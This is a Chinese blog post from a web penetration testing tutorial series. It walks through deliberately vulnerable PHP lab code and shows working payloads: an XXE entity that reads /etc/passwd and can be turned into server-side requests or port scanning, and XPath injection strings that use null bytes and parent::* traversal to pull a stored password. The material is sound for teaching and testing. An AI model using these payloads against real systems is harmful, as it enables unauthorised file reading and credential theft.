web渗透测试(15):XML攻击

在本节中,将详细介绍与XML相关的攻击。这些类型的攻击在Web服务和使用XPath从XML文件中检索配置设置的应用程序中很常见(例如,根据提供的组织名称了解他们需要使用哪些后端来验证用户)。

 

Example 1

<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

 

一些XML解析器将解析外部实体,并允许控制XML消息的用户访问资源; 例如,读取系统上的文件。可以声明以下实体,例如:

<!ENTITY x SYSTEM "file:///etc/passwd">

 

 

 

您需要正确包装,以使其正常工作:

<!DOCTYPE test [
    <!ENTITY x SYSTEM "file:///etc/passwd">]>

 

 

 

然后,您可以简单地使用x:&x; (不要忘记编码&)以在解析(服务器端)期间将相应的结果插入XML文档中。完整xml攻击如下:

?xml=<!DOCTYPE test [<!ENTITY x SYSTEM "file:///etc/passwd">]> <test>%26x;</test>

 

 

 

 

 

在此示例中,利用直接发生在GET请求中,但在传统Web应用程序中,更有可能使用POST请求执行这些类型的请求。 此问题在Web服务中也很常见,并且可能是您在攻击接受XML消息的应用程序时要进行的第一个测试。

 

此示例还可用于使应用程序执行HTTP请求(使用http://而不是file://),并可用作端口扫描程序。 但是,检索的内容通常是不完整的,因为XML解析器会尝试将其解析为文档的一部分。

 

当然:你也可以使用`ftp://`和`https://`。

 

Example 2

<?php require_once("../header.php"); 

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  } 
?>
<?php require_once("../footer.php"); ?>

 

在此示例中,代码在XPath表达式中使用用户的输入。XPath是一种查询语言,它从XML文档中选择节点。将XML文档想象为数据库,将XPath想象为SQL查询。如果您可以操作查询,则可以检索通常无法访问的元素。

 

如果我们注入单引号,我们可以看到以下错误:

Warning: SimpleXMLElement::XPath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::XPath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8

 


 

就像SQL注入一样,XPath允许你做布尔逻辑,你可以尝试:

  • ?name=hacker' and '1'='1 你应该得到相同的结果。
  • ?name=hacker' or '1'='0 你应该得到相同的结果。
  • ?name=hacker' and '1'='0 你不应该得到任何结果。
  • ?name=hacker' or '1'='1 你应该得到所有结果。

 

基于这些测试和以前的XPath知识,可以了解XPath表达式的外观:

[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]

 

 

 

要注释掉XPath表达式的其余部分,可以使用NULL BYTE(您需要将其编码为%00)。 正如我们在上面的XPath表达式中所看到的,我们还需要添加一个]以正确完成语法。 如果我们想要所有结果,我们的有效负载现在看起来像hacker']%00(或hacker' or 1=1]%00)。

 

如果我们尝试使用有效负载'%20or%201=1]/child::node()%00找到当前节点的子节点,我们就不会获得太多信息。

 

 

这里的问题是我们需要在节点层次结构中重新获得,以获取更多信息。 在XPath中,这可以使用parent::*作为有效负载的一部分来完成。 我们现在可以选择当前节点的父节点,并使用hacker'%20or%201=1]/parent::*/child::node()%00显示所有子节点。

 

 

其中一个节点的值看起来像一个密码。 我们可以通过使用有效负载hacker']/parent::*/password%00检查节点的名称是否为password来确认这一点。

posted @ 2023-08-03 12:45  珊瑚贝博客  阅读(182)  评论(0编辑  收藏  举报